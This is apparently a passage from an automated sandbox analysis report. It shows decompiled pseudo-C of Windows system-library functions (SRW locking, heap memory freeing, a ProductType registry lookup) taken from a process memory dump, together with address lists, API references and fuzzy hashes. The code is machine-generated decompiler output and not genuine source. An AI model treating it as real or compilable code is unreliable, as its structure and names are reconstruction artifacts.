					 *(_t317 - 0x40) = _t286;
					__eflags =  *(_t315 + 0x34);
					if( *(_t315 + 0x34) != 0) {
						L37:
						 *((intOrPtr*)(_t317 - 0x34)) =  *((intOrPtr*)( *((intOrPtr*)(_t317 - 0x34))));
						E6CE3DF4C(_t317 - 0x78, _t315, _t317 - 0x74, _t317 - 0x78);
						_t316 =  *(_t317 - 0x74);
						__eflags = _t316;
						_t280 =  *((intOrPtr*)(_t317 - 0x34));
						if(_t316 != 0) {
							 *0x6cefb1e0( *((intOrPtr*)(_t317 - 0x78)));
							 *_t316();
							_t280 =  *((intOrPtr*)(_t317 - 0x34));
						}
						_t312 =  *((intOrPtr*)(_t317 - 0x38));
						continue;
					}
					__eflags = _t286;
					if(_t286 == 0) {
						goto L37;
					}
					 *(_t317 - 0x5c) = _t286;
					_t45 = _t317 - 0x5c;
					 *_t45 =  *(_t317 - 0x5c) & 0x00000001;
					__eflags =  *_t45;
					if( *_t45 == 0) {
						L40:
						__eflags = _t286 & 0xfffffffe;
						if((_t286 & 0xfffffffe) != 0) {
							__eflags =  *((intOrPtr*)(_t315 + 0x64)) - _t307;
							if( *((intOrPtr*)(_t315 + 0x64)) == _t307) {
								L14:
								__eflags =  *(_t315 + 0x40) - _t307;
								if( *(_t315 + 0x40) != _t307) {
									__eflags = _t301 -  *(_t315 + 0x4c);
									if(__eflags > 0) {
										goto L15;
									}
									if(__eflags < 0) {
										L59:
										_t299 =  *((intOrPtr*)(_t317 - 0x20));
										__eflags =  *(_t315 + 0x5c) -  *((intOrPtr*)(_t299 + 0x10));
										if( *(_t315 + 0x5c) >=  *((intOrPtr*)(_t299 + 0x10))) {
											goto L37;
										}
										goto L15;
									}
									__eflags =  *(_t317 - 0x28) -  *(_t315 + 0x48);
									if( *(_t317 - 0x28) >=  *(_t315 + 0x48)) {
										goto L15;
									}
									goto L59;
								}
								L15:
								__eflags =  *((intOrPtr*)(_t317 + 8)) - _t307;
								if( *((intOrPtr*)(_t317 + 8)) != _t307) {
									__eflags =  *((intOrPtr*)(_t315 + 0x58)) - _t307;
									if( *((intOrPtr*)(_t315 + 0x58)) != _t307) {
										goto L16;
									}
									goto L37;
								}
								L16:
								 *(_t317 - 0x24) = _t307;
								 *(_t317 - 0x30) = _t307;
								 *((intOrPtr*)(_t317 - 0x2c)) =  *((intOrPtr*)(_t315 + 0x10));
								_t217 =  *((intOrPtr*)(_t315 + 0xc));
								 *((intOrPtr*)(_t317 - 0x4c)) =  *((intOrPtr*)(_t217 + 0x10));
								 *((intOrPtr*)(_t317 - 0x48)) =  *((intOrPtr*)(_t217 + 0x14));
								 *(_t317 - 0x58) =  *(_t217 + 0x24);
								 *((intOrPtr*)(_t317 - 0x3c)) =  *((intOrPtr*)(_t315 + 0x14));
								 *((intOrPtr*)(_t317 - 0x64)) =  *((intOrPtr*)(_t315 + 0x18));
								 *(_t315 + 0x60) =  *( *[fs:0x18] + 0x24);
								_t224 =  *((intOrPtr*)(_t317 - 0x38)) + 0x28;
								 *(_t317 - 0x94) = _t224;
								_t291 = _t224;
								 *(_t317 - 0x28) = _t291;
								 *(_t317 - 0x90) = _t291;
								E6CE1FFB0(_t272, _t307, _t224);
								_t292 = _t307;
								 *(_t317 - 0x54) = _t292;
								_t226 = _t307;
								 *(_t317 - 0x50) = _t226;
								 *(_t317 - 0x44) = _t226;
								__eflags =  *(_t315 + 0x28);
								if(__eflags != 0) {
									asm("lock bts dword [eax], 0x0");
									_t229 = 0;
									_t230 = _t229 & 0xffffff00 | __eflags >= 0x00000000;
									 *(_t317 - 0x50) = _t230;
									 *(_t317 - 0x44) = _t230;
									__eflags = _t230;
									if(_t230 != 0) {
										goto L17;
									}
									__eflags =  *((intOrPtr*)(_t317 + 8)) - 1;
									if( *((intOrPtr*)(_t317 + 8)) == 1) {
										E6CE22280( *(_t315 + 0x28) + 0x10,  *(_t315 + 0x28) + 0x10);
										_t230 = 1;
										 *(_t317 - 0x50) = 1;
										 *(_t317 - 0x44) = 1;
										goto L17;
									}
									_t233 = _t230 + 1;
									L35:
									 *( *((intOrPtr*)(_t317 - 0x70)) + 0x58) = _t233;
									__eflags = _t292;
									if(_t292 == 0) {
										E6CE22280(_t233,  *(_t317 - 0x28));
									}
									 *(_t315 + 0x60) = _t307;
									goto L37;
								}
								L17:
								__eflags =  *(_t315 + 0x34) - _t307;
								if( *(_t315 + 0x34) != _t307) {
									L26:
									__eflags =  *(_t317 - 0x50);
									if( *(_t317 - 0x50) != 0) {
										_t230 = E6CE1FFB0(_t272, _t307,  *(_t315 + 0x28) + 0x10);
									}
									__eflags =  *(_t317 - 0x30);
									if( *(_t317 - 0x30) == 0) {
										L71:
										_t292 =  *(_t317 - 0x54);
										L34:
										_t233 = _t307;
										goto L35;
									}
									E6CE22280(_t230,  *(_t317 - 0x94));
									_t292 = 1;
									 *(_t317 - 0x54) = 1;
									__eflags =  *(_t317 - 0x24) - 0xc000022d;
									if( *(_t317 - 0x24) == 0xc000022d) {
										L69:
										__eflags =  *(_t315 + 0x20) & 0x00000004;
										if(( *(_t315 + 0x20) & 0x00000004) == 0) {
											goto L34;
										}
										_t272 = 1;
										__eflags = 1;
										 *(_t317 - 0x60) = 1;
										E6CE930AE(_t315,  *(_t317 - 0x24),  *( *((intOrPtr*)(_t317 - 0x20)) + 0x10));
										goto L71;
									}
									__eflags =  *(_t317 - 0x24) - 0xc0000017;
									if( *(_t317 - 0x24) == 0xc0000017) {
										goto L69;
									}
									__eflags =  *(_t315 + 0x1c);
									if( *(_t315 + 0x1c) != 0) {
										_t238 =  *((intOrPtr*)(_t317 - 0x20));
										__eflags =  *((intOrPtr*)(_t238 + 0x10)) -  *(_t315 + 0x1c);
										if( *((intOrPtr*)(_t238 + 0x10)) -  *(_t315 + 0x1c) > 0) {
											goto L31;
										}
										L32:
										__eflags =  *(_t315 + 0x20) & 0x00000004;
										if(( *(_t315 + 0x20) & 0x00000004) != 0) {
											__eflags =  *(_t315 + 0x50) - _t307;
											if( *(_t315 + 0x50) > _t307) {
												 *(_t315 + 0x40) = _t307;
												 *(_t315 + 0x54) = _t307;
												 *(_t315 + 0x48) = _t307;
												 *(_t315 + 0x4c) = _t307;
												 *(_t315 + 0x50) = _t307;
												 *(_t315 + 0x5c) = _t307;
											}
										}
										goto L34;
									}
									L31:
									 *(_t315 + 0x1c) =  *( *((intOrPtr*)(_t317 - 0x20)) + 0x10);
									goto L32;
								}
								 *(_t317 - 0x30) = 1;
								 *((intOrPtr*)(_t317 - 0x80)) = 1;
								 *((intOrPtr*)(_t317 - 0x64)) = E6CE03E80( *((intOrPtr*)(_t317 - 0x64)));
								 *(_t317 - 4) = _t307;
								__eflags =  *(_t317 - 0x5c);
								if( *(_t317 - 0x5c) != 0) {
									_t257 =  *((intOrPtr*)(_t317 - 0x20));
									 *0x6cefb1e0( *((intOrPtr*)(_t317 - 0x4c)),  *((intOrPtr*)(_t317 - 0x48)),  *((intOrPtr*)(_t257 + 0x10)),  *(_t317 - 0x58),  *((intOrPtr*)(_t317 - 0x3c)),  *((intOrPtr*)(_t317 - 0x68)),  *((intOrPtr*)(_t257 + 0x14)));
									 *(_t317 - 0x24) =  *((intOrPtr*)(_t317 - 0x2c))();
								}
								_t246 =  *(_t317 - 0x40);
								__eflags = _t246 & 0x00000010;
								if((_t246 & 0x00000010) != 0) {
									__eflags =  *(_t315 + 0x34) - _t307;
									if( *(_t315 + 0x34) != _t307) {
										goto L21;
									}
									__eflags =  *(_t317 - 0x24);
									if( *(_t317 - 0x24) >= 0) {
										L64:
										 *0x6cefb1e0( *((intOrPtr*)(_t317 - 0x4c)),  *((intOrPtr*)(_t317 - 0x48)), _t307,  *(_t317 - 0x58),  *((intOrPtr*)(_t317 - 0x3c)), _t307, _t307);
										 *((intOrPtr*)(_t317 - 0x2c))();
										 *(_t317 - 0x24) = _t307;
										_t246 =  *(_t317 - 0x40);
										goto L21;
									}
									__eflags =  *(_t315 + 0x20) & 0x00000004;
									if(( *(_t315 + 0x20) & 0x00000004) != 0) {
										goto L21;
									}
									goto L64;
								} else {
									L21:
									__eflags = _t246 & 0xffffffee;
									if((_t246 & 0xffffffee) != 0) {
										 *(_t317 - 0x24) = _t307;
										 *0x6cefb1e0( *((intOrPtr*)(_t317 - 0x4c)),  *((intOrPtr*)(_t317 - 0x48)),  *((intOrPtr*)(_t317 - 0x3c)), _t246);
										 *((intOrPtr*)(_t317 - 0x2c))();
									}
									_t249 = E6CE27D50();
									__eflags = _t249;
									if(_t249 != 0) {
										_t252 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x234;
									} else {
										_t252 = 0x7ffe038e;
									}
									__eflags =  *_t252;
									if( *_t252 != 0) {
										_t252 = E6CE92E14( *( *((intOrPtr*)(_t317 - 0x20)) + 0x10), _t315,  *((intOrPtr*)(_t317 - 0x38)),  *((intOrPtr*)(_t317 - 0x2c)),  *(_t317 - 0x40),  *(_t317 - 0x24),  *((intOrPtr*)(_t317 - 0x4c)),  *((intOrPtr*)(_t317 - 0x48)));
									}
									 *(_t317 - 4) = 0xfffffffe;
									E6CE03E6B(_t252);
									_t230 = E6CE03E80( *((intOrPtr*)(_t317 - 0x64)));
									goto L26;
								}
							}
						}
						__eflags = _t286 & 0x00000010;
						if((_t286 & 0x00000010) == 0) {
							goto L37;
						}
						goto L14;
					}
					__eflags =  *(_t315 + 0x1c);
					if( *(_t315 + 0x1c) != 0) {
						__eflags =  *((intOrPtr*)(_t209 + 0x10)) -  *(_t315 + 0x1c);
						if( *((intOrPtr*)(_t209 + 0x10)) -  *(_t315 + 0x1c) > 0) {
							goto L14;
						}
						goto L40;
					}
					goto L14;
				}
			}

0x6ce03aca
0x6ce03acf
0x6ce03ad4
0x6ce03ad9
0x6ce03adb
0x6ce03ae0
0x6ce03ae3
0x6ce03ae5
0x6ce03ae8
0x6ce03aeb
0x6ce03aed
0x6ce03af5
0x6ce03af8
0x6ce03afb
0x6ce03afe
0x6ce03b05
0x6ce03b0a
0x6ce03b0d
0x00000000
0x6ce03b10
0x6ce03b15
0x6ce03b1a
0x6ce03b21
0x6ce03b30
0x6ce03b30
0x6ce03b33
0x6ce03b33
0x6ce03b36
0x6ce03b39
0x6ce03b3f
0x6ce03b47
0x6ce03b4a
0x6ce03b4a
0x6ce03b4f
0x6ce03b4f
0x6ce03b4f
0x6ce03b4f
0x6ce03b4f
0x6ce03b54
0x6ce03b5c
0x6ce03b61
0x6ce03b67
0x6ce03b6f
0x6ce03b6f
0x6ce03b71
0x6ce03b75
0x6ce03b77
0x00000000
0x00000000
0x6ce03e6c
0x6ce03e6c
0x6ce03b7d
0x6ce03b7d
0x6ce03b82
0x6ce03b84
0x6ce03b87
0x6ce03b8a
0x6ce03b8d
0x6ce03b90
0x6ce03b90
0x6ce03b97
0x6ce03b97
0x6ce03ba7
0x6ce03baa
0x6ce03bad
0x6ce03bad
0x6ce03bb7
0x6ce03bb7
0x6ce03bbc
0x6ce03bbf
0x6ce03bc1
0x6ce03bc7
0x6ce03bcd
0x6ce03bd5
0x6ce03bd8
0x6ce03bda
0x6ce03be1
0x6ce03be4
0x6ce03be7
0x6ce03bea
0x6ce03bed
0x6ce03d97
0x6ce03d9c
0x6ce03da8
0x6ce03dad
0x6ce03db0
0x6ce03db2
0x6ce03db5
0x6ce6020b
0x6ce60211
0x6ce60213
0x6ce60213
0x6ce03dbb
0x00000000
0x6ce03dbb
0x6ce03bf3
0x6ce03bf5
0x00000000
0x00000000
0x6ce03bfb
0x6ce03bfe
0x6ce03bfe
0x6ce03bfe
0x6ce03c02
0x6ce03dd1
0x6ce03dd1
0x6ce03dd7
0x6ce600c1
0x6ce600c4
0x6ce03c11
0x6ce03c11
0x6ce03c14
0x6ce600cf
0x6ce600d2
0x00000000
0x00000000
0x6ce600d8
0x6ce600e6
0x6ce600e9
0x6ce600ec
0x6ce600ef
0x00000000
0x00000000
0x00000000
0x6ce600f5
0x6ce600dd
0x6ce600e0
0x00000000
0x00000000
0x00000000
0x6ce600e0
0x6ce03c1a
0x6ce03c1a
0x6ce03c1d
0x6ce03e20
0x6ce03e23
0x00000000
0x00000000
0x00000000
0x6ce03e29
0x6ce03c23
0x6ce03c23
0x6ce03c26
0x6ce03c2c
0x6ce03c2f
0x6ce03c35
0x6ce03c3b
0x6ce03c41
0x6ce03c47
0x6ce03c4d
0x6ce03c59
0x6ce03c5f
0x6ce03c62
0x6ce03c68
0x6ce03c6a
0x6ce03c6d
0x6ce03c74
0x6ce03c79
0x6ce03c7b
0x6ce03c7e
0x6ce03c80
0x6ce03c83
0x6ce03c89
0x6ce03c8b
0x6ce03dea
0x6ce03df1
0x6ce03df2
0x6ce03df5
0x6ce03df8
0x6ce03dfb
0x6ce03dfd
0x00000000
0x00000000
0x6ce03e03
0x6ce03e07
0x6ce03e42
0x6ce03e49
0x6ce03e4a
0x6ce03e4d
0x00000000
0x6ce03e4d
0x6ce03e09
0x6ce03d86
0x6ce03d89
0x6ce03d8c
0x6ce03d8e
0x6ce03e31
0x6ce03e31
0x6ce03d94
0x00000000
0x6ce03d94
0x6ce03c91
0x6ce03c91
0x6ce03c94
0x6ce03d23
0x6ce03d23
0x6ce03d27
0x6ce03e16
0x6ce03e16
0x6ce03d2d
0x6ce03d31
0x6ce601fe
0x6ce601fe
0x6ce03d84
0x6ce03d84
0x00000000
0x6ce03d84
0x6ce03d3d
0x6ce03d44
0x6ce03d45
0x6ce03d48
0x6ce03d4f
0x6ce601de
0x6ce601de
0x6ce601e2
0x00000000
0x00000000
0x6ce601ea
0x6ce601ea
0x6ce601eb
0x6ce601f9
0x00000000
0x6ce601f9
0x6ce03d55
0x6ce03d5c
0x00000000
0x00000000
0x6ce03d62
0x6ce03d66
0x6ce03e55
0x6ce03e5e
0x6ce03e60
0x00000000
0x00000000
0x6ce03d75
0x6ce03d75
0x6ce03d79
0x6ce03d7b
0x6ce03d7e
0x6ce601c7
0x6ce601ca
0x6ce601cd
0x6ce601d0
0x6ce601d3
0x6ce601d6
0x6ce601d6
0x6ce03d7e
0x00000000
0x6ce03d79
0x6ce03d6c
0x6ce03d72
0x00000000
0x6ce03d72
0x6ce03c9d
0x6ce03ca0
0x6ce03cab
0x6ce03cae
0x6ce03cb1
0x6ce03cb5
0x6ce03cb7
0x6ce03cd2
0x6ce03cdb
0x6ce03cdb
0x6ce03cde
0x6ce03ce1
0x6ce03ce3
0x6ce600fa
0x6ce600fd
0x00000000
0x00000000
0x6ce60103
0x6ce60107
0x6ce60113
0x6ce60125
0x6ce6012b
0x6ce6012e
0x6ce60131
0x00000000
0x6ce60131
0x6ce60109
0x6ce6010d
0x00000000
0x00000000
0x00000000
0x6ce03ce9
0x6ce03ce9
0x6ce03ce9
0x6ce03cee
0x6ce60139
0x6ce60149
0x6ce6014f
0x6ce6014f
0x6ce03cf4
0x6ce03cf9
0x6ce03cfb
0x6ce60160
0x6ce03d01
0x6ce03d01
0x6ce03d01
0x6ce03d06
0x6ce03d09
0x6ce60184
0x6ce60184
0x6ce03d0f
0x6ce03d16
0x6ce03d1e
0x00000000
0x6ce03d1e
0x6ce03ce3
0x6ce600ca
0x6ce03ddd
0x6ce03de0
0x00000000
0x00000000
0x00000000
0x6ce03de2
0x6ce03c08
0x6ce03c0b
0x6ce03dc9
0x6ce03dcb
0x00000000
0x00000000
0x00000000
0x6ce03dcb
0x00000000
0x6ce03c0b

APIs

RtlAcquireSRWLockExclusive.1105(00000000,6CEDF4D0,00000084,6CE03A18,00000000,?,?), ref: 6CE03B05
RtlReleaseSRWLockExclusive.1105(?,?,00000000,6CEDF4D0,00000084,6CE03A18,00000000,?,?), ref: 6CE03B1A
RtlReleaseSRWLockExclusive.1105(?,?,?,?,?,?,00000000,6CEDF4D0,00000084,6CE03A18,00000000,?,?), ref: 6CE03C74

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Release$Acquire
String ID:
API String ID: 1021914862-0
Opcode ID: a97d5fb753cc028c013294649a1883d42c100eeaf085f5d1901d01d3e7654a2d
Instruction ID: 6e11b07cbf7881f1deb39eef04999dedeeff7ec3852b4f4386ae5e5e1dbbd347
Opcode Fuzzy Hash: a97d5fb753cc028c013294649a1883d42c100eeaf085f5d1901d01d3e7654a2d
Instruction Fuzzy Hash: C0E10075E01618CFCB25CFAAC980A8DFBF1BF49308F24466AE556A7B60D734A851CF50

Uniqueness

Uniqueness Score: -1.00%

Function 6CE3AC7B, Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 205
nativeCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E6CE3AC7B(void* __ecx, signed short* __edx) {
				signed int _v8;
				signed int _v12;
				void* __ebx;
				signed char _t75;
				signed int _t79;
				signed int _t88;
				intOrPtr _t89;
				signed int _t96;
				signed char* _t97;
				intOrPtr _t98;
				signed int _t101;
				signed char* _t102;
				intOrPtr _t103;
				signed int _t105;
				signed char* _t106;
				signed int _t131;
				signed int _t138;
				void* _t149;
				signed short* _t150;

				_t150 = __edx;
				_t149 = __ecx;
				_t70 =  *__edx & 0x0000ffff;
				__edx[1] = __edx[1] & 0x000000f8;
				__edx[3] = 0;
				_v8 =  *__edx & 0x0000ffff;
				if(( *(__ecx + 0x40) & 0x00000040) != 0) {
					_t39 =  &(_t150[8]); // 0x9
					E6CE5D5E0(_t39, _t70 * 8 - 0x10, 0xfeeefeee);
					__edx[1] = __edx[1] | 0x00000004;
				}
				_t75 =  *(_t149 + 0xcc) ^  *0x6cef8a68;
				if(_t75 != 0) {
					L4:
					if( *((intOrPtr*)(_t149 + 0x4c)) != 0) {
						_t150[1] = _t150[0] ^ _t150[1] ^  *_t150;
						_t79 =  *(_t149 + 0x50);
						 *_t150 =  *_t150 ^ _t79;
						return _t79;
					}
					return _t75;
				} else {
					_t9 =  &(_t150[0x80f]); // 0x1018
					_t138 = _t9 & 0xfffff000;
					_t10 =  &(_t150[0x14]); // 0x21
					_v12 = _t138;
					if(_t138 == _t10) {
						_t138 = _t138 + 0x1000;
						_v12 = _t138;
					}
					_t75 = _t150 + (( *_t150 & 0x0000ffff) + 0xfffffffe) * 0x00000008 & 0xfffff000;
					if(_t75 > _t138) {
						_v8 = _t75 - _t138;
						_push(0x4000);
						_push( &_v8);
						_push( &_v12);
						_push(0xffffffff);
						_t131 = E6CE496E0();
						__eflags = _t131 - 0xc0000045;
						if(_t131 == 0xc0000045) {
							_t88 = E6CEB3C60(_v12, _v8);
							__eflags = _t88;
							if(_t88 != 0) {
								_push(0x4000);
								_push( &_v8);
								_push( &_v12);
								_push(0xffffffff);
								_t131 = E6CE496E0();
							}
						}
						_t89 =  *[fs:0x30];
						__eflags = _t131;
						if(_t131 < 0) {
							__eflags =  *(_t89 + 0xc);
							if( *(_t89 + 0xc) == 0) {
								_push("HEAP: ");
								E6CE0B150();
							} else {
								E6CE0B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
							}
							_push(_v8);
							_push(_v12);
							_push(_t149);
							_t75 = E6CE0B150("RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix)\n", _t131);
							goto L4;
						} else {
							_t96 =  *(_t89 + 0x50);
							_t132 = 0x7ffe0380;
							__eflags = _t96;
							if(_t96 != 0) {
								__eflags =  *_t96;
								if( *_t96 == 0) {
									goto L10;
								}
								_t97 =  *( *[fs:0x30] + 0x50) + 0x226;
								L11:
								__eflags =  *_t97;
								if( *_t97 != 0) {
									_t98 =  *[fs:0x30];
									__eflags =  *(_t98 + 0x240) & 0x00000001;
									if(( *(_t98 + 0x240) & 0x00000001) != 0) {
										E6CEC14FB(_t149, _v12, _v8, 7);
									}
								}
								 *((intOrPtr*)(_t149 + 0x234)) =  *((intOrPtr*)(_t149 + 0x234)) + _v8;
								 *((intOrPtr*)(_t149 + 0x210)) =  *((intOrPtr*)(_t149 + 0x210)) + 1;
								 *((intOrPtr*)(_t149 + 0x230)) =  *((intOrPtr*)(_t149 + 0x230)) + 1;
								 *((intOrPtr*)(_t149 + 0x220)) =  *((intOrPtr*)(_t149 + 0x220)) + 1;
								_t101 =  *( *[fs:0x30] + 0x50);
								__eflags = _t101;
								if(_t101 != 0) {
									__eflags =  *_t101;
									if( *_t101 == 0) {
										goto L13;
									}
									_t102 =  *( *[fs:0x30] + 0x50) + 0x226;
									goto L14;
								} else {
									L13:
									_t102 = _t132;
									L14:
									__eflags =  *_t102;
									if( *_t102 != 0) {
										_t103 =  *[fs:0x30];
										__eflags =  *(_t103 + 0x240) & 0x00000001;
										if(( *(_t103 + 0x240) & 0x00000001) != 0) {
											__eflags = E6CE27D50();
											if(__eflags != 0) {
												_t132 =  *( *[fs:0x30] + 0x50) + 0x226;
												__eflags =  *( *[fs:0x30] + 0x50) + 0x226;
											}
											E6CEC1411(_t132, _t149, _v12, __eflags, _v8,  *(_t149 + 0x74) << 3, 0, 0,  *_t132 & 0x000000ff);
										}
									}
									_t133 = 0x7ffe038a;
									_t105 =  *( *[fs:0x30] + 0x50);
									__eflags = _t105;
									if(_t105 != 0) {
										__eflags =  *_t105;
										if( *_t105 == 0) {
											goto L16;
										}
										_t106 =  *( *[fs:0x30] + 0x50) + 0x230;
										goto L17;
									} else {
										L16:
										_t106 = _t133;
										L17:
										__eflags =  *_t106;
										if( *_t106 != 0) {
											__eflags = E6CE27D50();
											if(__eflags != 0) {
												_t133 =  *( *[fs:0x30] + 0x50) + 0x230;
												__eflags =  *( *[fs:0x30] + 0x50) + 0x230;
											}
											E6CEC1411(_t133, _t149, _v12, __eflags, _v8,  *(_t149 + 0x74) << 3, 0, 0,  *_t133 & 0x000000ff);
										}
										_t75 = _t150[1] & 0x00000013 | 0x00000008;
										_t150[1] = _t75;
										goto L4;
									}
								}
							}
							L10:
							_t97 = _t132;
							goto L11;
						}
					} else {
						goto L4;
					}
				}
			}

0x6ce3ac85
0x6ce3ac88
0x6ce3ac8a
0x6ce3ac8d
0x6ce3ac91
0x6ce3ac99
0x6ce3ac9c
0x6ce79f57
0x6ce79f5b
0x6ce79f60
0x6ce79f60
0x6ce3aca8
0x6ce3acae
0x6ce3acda
0x6ce3acde
0x6ce3ace8
0x6ce3aceb
0x6ce3acee
0x00000000
0x6ce3acee
0x6ce3acf6
0x6ce3acb0
0x6ce3acb0
0x6ce3acbb
0x6ce3acbd
0x6ce3acc0
0x6ce3acc5
0x6ce3adae
0x6ce3adb4
0x6ce3adb4
0x6ce3acd4
0x6ce3acd8
0x6ce3acf9
0x6ce3acff
0x6ce3ad04
0x6ce3ad08
0x6ce3ad09
0x6ce3ad10
0x6ce3ad12
0x6ce3ad18
0x6ce79f6f
0x6ce79f74
0x6ce79f76
0x6ce79f7c
0x6ce79f84
0x6ce79f88
0x6ce79f89
0x6ce79f90
0x6ce79f90
0x6ce79f76
0x6ce3ad1e
0x6ce3ad24
0x6ce3ad26
0x6ce7a097
0x6ce7a09b
0x6ce7a0ba
0x6ce7a0bf
0x6ce7a09d
0x6ce7a0b2
0x6ce7a0b7
0x6ce7a0c5
0x6ce7a0c8
0x6ce7a0cb
0x6ce7a0d2
0x00000000
0x6ce3ad2c
0x6ce3ad2c
0x6ce3ad2f
0x6ce3ad34
0x6ce3ad36
0x6ce79f97
0x6ce79f9a
0x00000000
0x00000000
0x6ce79fa9
0x6ce3ad3e
0x6ce3ad3e
0x6ce3ad41
0x6ce79fb3
0x6ce79fb9
0x6ce79fc0
0x6ce79fd0
0x6ce79fd0
0x6ce79fc0
0x6ce3ad4a
0x6ce3ad50
0x6ce3ad5c
0x6ce3ad62
0x6ce3ad68
0x6ce3ad6b
0x6ce3ad6d
0x6ce79fda
0x6ce79fdd
0x00000000
0x00000000
0x6ce79fec
0x00000000
0x6ce3ad73
0x6ce3ad73
0x6ce3ad73
0x6ce3ad75
0x6ce3ad75
0x6ce3ad78
0x6ce79ff6
0x6ce79ffc
0x6ce7a003
0x6ce7a00e
0x6ce7a010
0x6ce7a01b
0x6ce7a01b
0x6ce7a01b
0x6ce7a038
0x6ce7a038
0x6ce7a003
0x6ce3ad84
0x6ce3ad89
0x6ce3ad8c
0x6ce3ad8e
0x6ce7a042
0x6ce7a045
0x00000000
0x00000000
0x6ce7a054
0x00000000
0x6ce3ad94
0x6ce3ad94
0x6ce3ad94
0x6ce3ad96
0x6ce3ad96
0x6ce3ad99
0x6ce7a063
0x6ce7a065
0x6ce7a070
0x6ce7a070
0x6ce7a070
0x6ce7a08d
0x6ce7a08d
0x6ce3ada4
0x6ce3ada6
0x00000000
0x6ce3ada6
0x6ce3ad8e
0x6ce3ad6d
0x6ce3ad3c
0x6ce3ad3c
0x00000000
0x6ce3ad3c
0x00000000
0x00000000
0x00000000
0x6ce3acd8

APIs

ZwFreeVirtualMemory.1105(000000FF,-00000018,?,00004000,?,-00000007,00000001,?,-00000018,?), ref: 6CE3AD0B
RtlFillMemoryUlong.1105(00000009,?,FEEEFEEE,?,-00000007,00000001,?,-00000018,?), ref: 6CE79F5B

Strings

HEAP[%wZ]: , xrefs: 6CE7A0AD
HEAP: , xrefs: 6CE7A0BA
RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix), xrefs: 6CE7A0CD

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: Memory$FillFreeUlongVirtual
String ID: HEAP: $HEAP[%wZ]: $RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix)
API String ID: 3117835691-1340214556
Opcode ID: df1b696436fe4ba737a6ccbb5603099d38bc6ca4797f8b2a3c9de42448d7eb66
Instruction ID: 9a16ff84f1b26469f410b380a1c74f8fc2291371667b950fa88275b6f59db7e8
Opcode Fuzzy Hash: df1b696436fe4ba737a6ccbb5603099d38bc6ca4797f8b2a3c9de42448d7eb66
Instruction Fuzzy Hash: C8811931284694EFDB26CBA8C984BA9B7F4FF0670CF3445A9E55487B91D734E981C720

Uniqueness

Uniqueness Score: -1.00%

Function 6CEB64FB, Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 125
nativeCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E6CEB64FB(intOrPtr* __ecx) {
				signed int _v8;
				char _v32;
				char _v36;
				intOrPtr _v40;
				char _v44;
				char _v48;
				char* _v52;
				short _v54;
				void* _v56;
				char* _v60;
				char _v64;
				char* _v68;
				short _v70;
				char _v72;
				char* _v76;
				short _v78;
				void* _v80;
				char* _v84;
				short _v86;
				void* _v88;
				char* _v92;
				short _v94;
				void* _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				char* _v112;
				intOrPtr _v116;
				char _v120;
				char _v124;
				void* __ebx;
				void* __edi;
				void* __esi;
				short _t48;
				short _t49;
				void* _t50;
				short _t51;
				void* _t55;
				void* _t62;
				void* _t77;
				short _t81;
				short _t82;
				intOrPtr* _t83;
				signed int _t85;

				_v8 =  *0x6cefd360 ^ _t85;
				_t48 = 0x16;
				_t82 = 0x18;
				_t83 = __ecx;
				_v72 = _t48;
				_t77 = 0x10;
				_t49 = 0x12;
				_v86 = _t49;
				_v94 = _t49;
				_t50 = 0xa;
				_v80 = _t50;
				_t51 = 0xc;
				_v78 = _t51;
				_v112 =  &_v64;
				_push( &_v120);
				_v88 = _t77;
				_v96 = _t77;
				_push(1);
				_push( &_v48);
				_v64 = 0x840082;
				_v60 = L"\\Registry\\Machine\\System\\CurrentControlSet\\Control\\ProductOptions";
				_v70 = _t82;
				_v68 = L"ProductType";
				_v84 = L"LanmanNt";
				_v92 = L"ServerNt";
				_v76 = L"WinNt";
				_v48 = 0;
				_v120 = _t82;
				_v116 = 0;
				_v108 = 0x240;
				_v104 = 0;
				_v100 = 0;
				_t55 = E6CE49600();
				_t84 = _t55;
				if(_t55 >= 0) {
					_push( &_v124);
					_push(0x24);
					_push( &_v44);
					_push(2);
					_push( &_v72);
					_push(_v48);
					_t62 = E6CE49650();
					_t84 = _t62;
					if(_t62 >= 0) {
						if(_v40 != 1) {
							L10:
							_t84 = 0xc000090b;
						} else {
							_t31 =  &_v36; // 0x6ce76637
							_t81 =  *_t31;
							if(_t81 < 2) {
								goto L10;
							} else {
								_v54 = _t81;
								_v52 =  &_v32;
								_v56 = _t81 - 2;
								if(RtlEqualUnicodeString( &_v56,  &_v80, 1) == 0) {
									if(RtlEqualUnicodeString( &_v56,  &_v88, 1) == 0) {
										if(RtlEqualUnicodeString( &_v56,  &_v96, 1) == 0) {
											goto L10;
										} else {
											 *_t83 = 3;
										}
									} else {
										 *_t83 = 2;
									}
								} else {
									 *_t83 = 1;
								}
							}
						}
					}
				}
				if(_v48 != 0) {
					_push(_v48);
					E6CE495D0();
				}
				return E6CE4B640(_t84, 1, _v8 ^ _t85, _t82, _t83, _t84);
			}

0x6ceb650a
0x6ceb6512
0x6ceb6515
0x6ceb6518
0x6ceb651a
